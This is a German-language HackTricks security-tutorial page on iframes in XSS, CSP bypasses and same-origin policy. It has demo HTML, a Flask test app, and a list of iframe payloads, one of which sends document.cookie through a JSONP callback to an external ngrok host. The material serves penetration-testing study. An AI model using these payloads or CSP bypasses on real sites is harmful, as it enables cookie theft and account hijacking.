Iframes in XSS, CSP and SOP

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Iframes in XSS

Es gibt 3 Möglichkeiten, den Inhalt einer eingebetteten Seite anzuzeigen:

  • Über src, das eine URL angibt (die URL kann Cross-Origin oder Same-Origin sein)

  • Über src, das den Inhalt unter Verwendung des data:-Protokolls angibt

  • Über srcdoc, das den Inhalt angibt

Zugriff auf Eltern- und Kindvariablen

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

Wenn Sie auf das vorherige HTML über einen HTTP-Server zugreifen (wie python3 -m http.server), werden Sie feststellen, dass alle Skripte ausgeführt werden (da es keine CSP gibt, die dies verhindert). Das übergeordnete Element kann nicht auf die secret-Variable innerhalb eines Iframes zugreifen und nur die Iframes if2 & if3 (die als gleiche Seite betrachtet werden) können auf das Geheimnis zugreifen im ursprünglichen Fenster. Beachten Sie, wie if4 als Ursprung null betrachtet wird.

Iframes mit CSP

Bitte beachten Sie, wie in den folgenden Umgehungen die Antwort auf die eingebettete Seite keinen CSP-Header enthält, der die JS-Ausführung verhindert.

Der Wert self von script-src erlaubt nicht die Ausführung des JS-Codes unter Verwendung des data:-Protokolls oder des srcdoc-Attributs. Jedoch erlaubt selbst der Wert none des CSP die Ausführung der Iframes, die eine URL (vollständig oder nur den Pfad) im src-Attribut setzen. Daher ist es möglich, die CSP einer Seite mit zu umgehen:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Beachten Sie, wie die vorherige CSP nur die Ausführung des Inline-Skripts zulässt. Jedoch werden nur if1 und if2 Skripte ausgeführt, wobei jedoch nur if1 auf das übergeordnete Geheimnis zugreifen kann.

Daher ist es möglich, eine CSP zu umgehen, wenn Sie eine JS-Datei auf den Server hochladen und sie über ein iframe laden können, selbst mit script-src 'none'. Dies kann potenziell auch durch den Missbrauch eines JSONP-Endpunkts auf derselben Website erfolgen.

Sie können dies mit dem folgenden Szenario testen, bei dem ein Cookie auch mit script-src 'none' gestohlen wird. Führen Sie die Anwendung aus und greifen Sie mit Ihrem Browser darauf zu:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Andere Payloads, die im Internet gefunden wurden

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe Sandbox

Der Inhalt innerhalb eines iframes kann zusätzlichen Einschränkungen unterliegen durch die Verwendung des sandbox-Attributs. Standardmäßig wird dieses Attribut nicht angewendet, was bedeutet, dass keine Einschränkungen vorhanden sind.

Bei Verwendung des sandbox-Attributs werden mehrere Einschränkungen auferlegt:

  • Der Inhalt wird behandelt, als ob er von einer eindeutigen Quelle stammt.

  • Jeglicher Versuch, Formulare abzusenden, wird blockiert.

  • Die Ausführung von Skripten ist untersagt.

  • Der Zugriff auf bestimmte APIs ist deaktiviert.

  • Es verhindert, dass Links mit anderen Browsing-Kontexten interagieren.

  • Die Verwendung von Plugins über <embed>, <object>, <applet> oder ähnliche Tags ist nicht erlaubt.

  • Die Navigation des Inhalts im Top-Level-Browsing-Kontext durch den Inhalt selbst wird verhindert.

  • Funktionen, die automatisch ausgelöst werden, wie Videowiedergabe oder das automatische Fokussieren von Formularelementen, werden blockiert.

Der Wert des Attributs kann leer gelassen werden (sandbox=""), um alle oben genannten Einschränkungen anzuwenden. Alternativ kann er auf eine durch Leerzeichen getrennte Liste von spezifischen Werten gesetzt werden, die den iframe von bestimmten Einschränkungen befreien.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes in SOP

Überprüfen Sie die folgenden Seiten:

pageBypassing SOP with Iframes - 1pageBypassing SOP with Iframes - 2pageBlocking main page to steal postmessagepageSteal postmessage modifying iframe location
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Last updated